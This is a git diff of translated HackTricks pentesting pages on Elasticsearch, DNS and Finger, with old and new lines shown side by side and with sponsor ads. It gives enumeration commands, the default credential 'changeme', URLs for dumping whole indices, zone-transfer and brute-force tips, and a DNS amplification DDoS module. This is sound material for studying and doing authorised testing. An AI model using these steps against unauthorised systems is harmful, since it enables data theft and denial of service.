**重要なビジネスに影響を与える、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報 ## 基本情報
Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、および**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.現在はElasticとして知られるによって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELKスタックと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.(現在のElasticによって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELKスタックと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。
### Elasticsearchインデックスとは ### Elasticsearchインデックスとは
Elasticsearchの**インデックス**は、**関連するドキュメント**のコレクションで、**JSON**として保存されています。各ドキュメントは、**キー**とそれに対応する**値**(文字列、数値、ブール値、日付、配列、地理位置情報など)で構成されています。 Elasticsearchの**インデックス**は、**関連するドキュメント**のコレクションで、**JSON**として保存されます。各ドキュメントは、**キー**とそれに対応する**値**(文字列、数値、ブール値、日付、配列、地理位置情報など)で構成されています。
Elasticsearchは、効率的なデータ構造である**逆インデックス**を使用して、高速な全文検索を実現しています。このインデックスは、ドキュメント内のすべてのユニークな単語をリストし、各単語が出現するドキュメントを特定します。 Elasticsearchは、効率的なデータ構造である**逆インデックス**を使用して、高速な全文検索を実現します。このインデックスは、ドキュメント内のすべてのユニークな単語をリストし、各単語が出現するドキュメントを特定します。
インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築し、ほぼリアルタイムでの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。 インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築し、ほぼリアルタイムでの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。
@ -41,7 +49,7 @@ Elasticsearchにアクセスするために使用されるプロトコルは**HT
### 認証 ### 認証
**デフォルトではElasticsearchには認証が有効になっていません**ので、デフォルトでは資格情報を使用せずにデータベース内のすべてにアクセスできます。 **デフォルトではElasticsearchには認証が有効になっていません**。そのため、デフォルトでは資格情報を使用せずにデータベース内のすべてにアクセスできます。
認証が無効になっていることを確認するには、次のリクエストを行います: 認証が無効になっていることを確認するには、次のリクエストを行います:
```bash ```bash
@ -52,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash ```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
``` ```
それは、認証が設定されており、**有効な資格情報が必要**であることを意味します。次に、[**ブルートフォース攻撃を試みることができます**](../generic-methodologies-and-resources/brute-force.md#elasticsearch)HTTP基本認証を使用しているため、HTTP基本認証をブルートフォース攻撃するための任意の方法が使用できます。\ それは、認証が設定されており、**有効な資格情報**が必要であることを意味します。次に、[**ブルートフォース攻撃を試みることができます**](../generic-methodologies-and-resources/brute-force.md#elasticsearch)HTTP基本認証を使用しているため、HTTP基本認証をブルートフォース攻撃するための任意の方法が使用できます。\
ここに**デフォルトのユーザー名のリスト**があります_**elastic**スーパーユーザー、remote\_monitoring\_user、beats\_system、logstash\_system、kibana、kibana\_system、apm\_system、_ \_anonymous\_。_ Elasticsearchの古いバージョンでは、このユーザーのデフォルトパスワードは**changeme**です。 ここに**デフォルトのユーザー名のリスト**があります_**elastic**スーパーユーザー、remote\_monitoring\_user、beats\_system、logstash\_system、kibana、kibana\_system、apm\_system、_ \_anonymous\_。_ Elasticsearchの古いバージョンでは、このユーザーのデフォルトパスワードは**changeme**です。
``` ```
curl -X GET http://user:password@IP:9200/ curl -X GET http://user:password@IP:9200/
@ -70,7 +78,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
``` ```
### Elastic Info ### Elastic Info
以下は、elasticsearchに関する**情報**を**取得**するために**GET**で**アクセス**できるいくつかのエンドポイントす: ここに、elasticsearchに関する**情報**を**取得**するために**GET**で**アクセス**できるいくつかのエンドポイントがあります:
| \_cat | /\_cluster | /\_security | | \_cat | /\_cluster | /\_security |
| ------------------------------- | ----------------------------- | ------------------------- | | ------------------------------- | ----------------------------- | ------------------------- |
@ -99,10 +107,10 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodeattrs | | | | /\_cat/nodeattrs | | |
| /\_cat/nodes | | | | /\_cat/nodes | | |
これらのエンドポイントは[**ドキュメントから取得されたもの**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html)で**詳細**を**見つける**ことができます。\ これらのエンドポイントは[**ドキュメントから取得されたものです**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) そこで**詳細**を**見つける**ことができます。\
また、`/_cat`にアクセスすると、レスポンスにはインスタンスがサポートする`/_cat/*`エンドポイントが含まれます。 また、`/_cat`にアクセスすると、レスポンスにはインスタンスがサポートする`/_cat/*`エンドポイントが含まれます。
`/_security/user`(認証が有効な場合)では、どのユーザーが`superuser`の役割を持っているかを確認できます。 `/_security/user`(認証が有効な場合)では、どのユーザーが`superuser`の役割を持っているかを見ることができます。
### Indices ### Indices
@ -113,38 +121,38 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
``` ```
**インデックス内に保存されているデータの種類に関する情報を取得するには**、次のようにアクセスできます: `http://host:9200/<index>`。この場合の例は `http://10.10.10.115:9200/bank` です。 **インデックス内に保存されているデータの種類に関する情報を取得するには**、次のようにアクセスできます: `http://host:9200/<index>` この場合の例では `http://10.10.10.115:9200/bank`
![](<../.gitbook/assets/image (342).png>) ![](<../.gitbook/assets/image (342).png>)
### インデックスのダンプ ### インデックスのダンプ
インデックスの**すべての内容をダンプしたい場合**は、次のようにアクセスできます: `http://host:9200/<index>/_search?pretty=true`例えば `http://10.10.10.115:9200/bank/_search?pretty=true` のように。 インデックスの**すべての内容をダンプしたい場合**は、次のようにアクセスできます: `http://host:9200/<index>/_search?pretty=true` 例えば `http://10.10.10.115:9200/bank/_search?pretty=true`
![](<../.gitbook/assets/image (914).png>) ![](<../.gitbook/assets/image (914).png>)
_銀行インデックス内の各ドキュメントエントリの内容と、前のセクションで見たこのインデックスのフィールドを比較する時間を取ってください。_ _銀行インデックス内の各ドキュメントエントリの内容と、前のセクションで見たこのインデックスのフィールドを比較する時間を取ってください。_
この時点で、**"hits" 内に "total" というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際には10件しか取得されていません。これは、**デフォルトで10ドキュメントの制限があるためです。**\ この時点で、**"hits"内に"total"というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際には10件しか取得されていません。これは、**デフォルトで10件のドキュメントに制限があるためです。**\
しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプすることができます**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプすることができます**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_注: より大きな数を指定すると、すべてのエントリがダンプされます。例えば `size=9999`指定すると、エントリがもっとあった場合は奇妙になりますただし、確認する必要があります。_ _注: より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`を指定すると、エントリがもっとあった場合は奇妙になりますただし、確認する必要があります。_
### すべてをダンプ ### すべてをダンプ
すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定しないでください**: `http://host:9200/_search?pretty=true`例えば `http://10.10.10.115:9200/_search?pretty=true` のように。\ すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定せずに** `http://host:9200/_search?pretty=true` 例えば `http://10.10.10.115:9200/_search?pretty=true`\
この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプする**ことができます。詳細については前のセクションをお読みください。 この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプする**ことができます。詳細については前のセクションをお読みください。
### 検索 ### 検索
情報を探している場合は、すべてのインデックスで**生の検索を行うことができます**: `http://host:9200/_search?pretty=true&q=<search_term>`例えば `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` のように。 情報を探している場合は、すべてのインデックスで**生の検索を行うことができます**: `http://host:9200/_search?pretty=true&q=<search_term>` 例えば `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../.gitbook/assets/image (335).png>) ![](<../.gitbook/assets/image (335).png>)
特定のインデックスで**検索したい場合**は、**パス**にそれを**指定**するだけです: `http://host:9200/<index>/_search?pretty=true&q=<search_term>` 特定のインデックスで**検索したい場合**は、**パス**にそれを**指定するだけです**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_検索に使用されるqパラメータは、**正規表現をサポートしています**_ _コンテンツを検索するために使用されるqパラメータは、**正規表現をサポートしています**_
また、[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用して、elasticsearchサービスをファズすることもできます。 [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用して、elasticsearchサービスをファズすることもできます。
### 書き込み権限 ### 書き込み権限
@ -180,17 +188,25 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
* `port:9200 elasticsearch` * `port:9200 elasticsearch`
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを送信してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまでの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本情報** ## **基本情報**
**ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comのような**覚えやすいドメイン名**を通じてウェブサイトにアクセスできるようにします。これにより、数値のインターネットプロトコル (IP) アドレスの代わりに、ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、オンライン世界のナビゲートを簡素化します。 **ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comのような**覚えやすいドメイン名**を通じてウェブサイトにアクセスできるようにします。ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、オンライン世界のナビゲートを簡素化します。
**デフォルトポート:** 53 **デフォルトポート:** 53
``` ```
@ -35,9 +37,9 @@ PORT STATE SERVICE REASON
### Different DNS Servers ### Different DNS Servers
* **DNS Root Servers**: これらはDNS階層の最上部にあり、トップレベルドメインを管理し、下位サーバーが応答しない場合にのみ介入します。インターネット名称と番号割り当て機関**ICANN**がその運営を監督しており、世界中で13のサーバーがあります。 * **DNS Root Servers**: これらはDNS階層の最上部にあり、トップレベルドメインを管理し、下位サーバーが応答しない場合にのみ介入します。インターネット名称と番号割り当て機関**ICANN**がその運営を監督しており、世界中で13のサーバーがあります。
* **Authoritative Nameservers**: これらのサーバーは、指定されたゾーン内のクエリに対して最終的な回答を持ち、明確な答を提供します。応答できない場合、クエリはルートサーバーにエスカレーションされます。 * **Authoritative Nameservers**: これらのサーバーは、指定されたゾーン内のクエリに対して最終的な回答を持ち、明確な答を提供します。応答できない場合、クエリはルートサーバーにエスカレーションされます。
* **Non-authoritative Nameservers**: DNSゾーンに対する所有権がないこれらのサーバーは、他のサーバーへのクエリを通じてドメイン情報を収集します。 * **Non-authoritative Nameservers**: DNSゾーンに対する所有権がないこれらのサーバーは、他のサーバーへのクエリを通じてドメイン情報を収集します。
* **Caching DNS Server**: このタイプのサーバーは、将来のリクエストの応答時間を短縮するために、以前のクエリの回答を一定の時間記憶します。キャッシュの期間は権威サーバーによって決定されます。 * **Caching DNS Server**: このタイプのサーバーは、将来のリクエストの応答時間を短縮するために、以前のクエリの回答を一定の時間記憶します。キャッシュの期間は権威あるサーバーによって決定されます。
* **Forwarding Server**: 単純な役割を果たすフォワーディングサーバーは、クエリを別のサーバーに中継するだけです。 * **Forwarding Server**: 単純な役割を果たすフォワーディングサーバーは、クエリを別のサーバーに中継するだけです。
* **Resolver**: コンピュータやルーターに統合されているリゾルバーは、ローカルで名前解決を実行し、権威あるものとは見なされません。 * **Resolver**: コンピュータやルーターに統合されているリゾルバーは、ローカルで名前解決を実行し、権威あるものとは見なされません。
@ -45,8 +47,8 @@ PORT STATE SERVICE REASON
### **Banner Grabbing** ### **Banner Grabbing**
DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得することができます。これはほとんどのBINDネームサーバーで機能します。\ DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得できます。これはほとんどのBINDネームサーバーで機能します。\
このクエリは`dig`を使用して実行できます このクエリは`dig`を使用して実行できます:
```bash ```bash
dig version.bind CHAOS TXT @DNS dig version.bind CHAOS TXT @DNS
``` ```
@ -58,7 +60,7 @@ dig version.bind CHAOS TXT @DNS
``` ```
### **Any record** ### **Any record**
レコード **ANY** は、DNSサーバーに **返す** ように要求します。すべての利用可能な **エントリ****開示する意志がある** ものです。 レコード **ANY** は、DNSサーバーに **返す** ように要求し、**開示する意志のある** すべての **エントリ** を取得します。
```bash ```bash
dig any victim.com @<DNS_IP> dig any victim.com @<DNS_IP>
``` ```
@ -116,7 +118,7 @@ dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
内部IPアドレスに解決するサブドメインを見つけることができた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行してみてください。 内部IPアドレスに解決するサブドメインを見つけることができた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行してみてください。
{% endhint %} {% endhint %}
別のツールはこちら: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) 別のツール: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
リバースIP範囲をクエリできます: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (このツールはBGPにも役立ちます)。 リバースIP範囲をクエリできます: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (このツールはBGPにも役立ちます)。
@ -145,7 +147,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
``` ```
### IPv6 ### IPv6
"AAAA" リクエストを使用してサブドメインのIPv6を収集するためのブルートフォース。 サブドメインのIPv6を収集するために「AAAA」リクエストを使用したブルートフォース。
```bash ```bash
dnsdict6 -s -t <domain> dnsdict6 -s -t <domain>
``` ```
@ -155,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
``` ```
### DNS再帰DDoS ### DNS再帰DDoS
もし**DNS再帰が有効**になっている場合、攻撃者はUDPパケットの**起源**を**偽装**して**DNSが被害者サーバーに応答を送信する**ようにすることができます。攻撃者は**ANY**または**DNSSEC**レコードタイプを悪用することができ、これらはより大きな応答を持つためです。\ もし**DNS再帰が有効**であれば、攻撃者はUDPパケットの**起源**を**偽装**して**DNSが被害者サーバーに応答を送信する**ようにすることができます。攻撃者は**ANY**または**DNSSEC**レコードタイプを悪用することができ、これらはより大きな応答を持つためです。\
DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、**フラグ "ra"**_再帰利用可能_が応答に含まれているかを**確認**することです: DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、**フラグ "ra"**_再帰利用可能_が応答に含まれているかを**確認**することです:
```bash ```bash
dig google.com A @<IP> dig google.com A @<IP>
@ -170,19 +172,21 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### 存在しないアカウントへのメール ### 存在しないアカウントへのメール
ターゲットドメイン内の無効なアドレスに送信されたメールによってトリガーされた配信不能通知NDNを調査することで、貴重な内部ネットワークの詳細がしばしば開示されます。 ターゲットドメイン内の無効なアドレスに送信されたメールによってトリガーされた不達通知NDNを調査することで、貴重な内部ネットワークの詳細がしばしば開示されます。
提供された配信不能レポートには、以下の情報が含まれています: 提供された不達報告には以下の情報が含まれています:
* 生成サーバーは `server.example.com` として特定されました。 * 生成サーバーは `server.example.com` として特定されました。
* `user@example.com` に対する失敗通知がエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` と共に返されました。 * `user@example.com` に対する失敗通知がエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` と共に返されました。
* 内部IPアドレスとホスト名が元のメッセージヘッダーに開示されました。 * 元のメッセージヘッダーに内部IPアドレスとホスト名が開示されました。
```markdown ```markdown
The original message headers were modified for anonymity and now present randomized data: The original message headers were modified for anonymity and now present randomized data:
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -299,7 +305,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンから報告までの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本情報** ## **基本情報**
**Finger**プログラム/サービスは、コンピュータユーザーに関する詳細を取得するために利用されます。通常、提供される情報には**ユーザーのログイン名、フルネーム**、および場合によっては追加の詳細が含まれます。これらの追加の詳細には、オフィスの場所や電話番号(利用可能な場合)、ユーザーがログインした時間、非アクティブ期間(アイドル時間)、ユーザーが最後にメールを読んだ時刻、ユーザーのプランおよびプロジェクトファイルの内容が含まれることがあります。 **Finger** プログラム/サービスは、コンピュータユーザーに関する詳細を取得するために利用されます。通常、提供される情報には **ユーザーのログイン名、フルネーム** が含まれ、場合によっては追加の詳細も含まれます。これらの追加の詳細には、オフィスの場所や電話番号(利用可能な場合)、ユーザーがログインした時間、非アクティブ期間(アイドル時間)、ユーザーが最後にメールを読んだ時刻、ユーザーの計画およびプロジェクトファイルの内容が含まれることがあります。
**デフォルトポート:** 79 **デフォルトポート:** 79
``` ```
@ -43,7 +45,7 @@ finger @<Victim> #List users
finger admin@<Victim> #Get info of user finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user finger user@<Victim> #Get info of user
``` ```
代わりに、[**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum)から**finger-user-enum**を使用できます。いくつかの例: 代わりに、[**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum)**finger-user-enum** を使用できます。いくつかの例:
```bash ```bash
finger-user-enum.pl -U users.txt -t 10.0.0.1 finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1 finger-user-enum.pl -u root -t 10.0.0.1
@ -73,7 +75,9 @@ finger @internal@external
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -87,7 +91,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
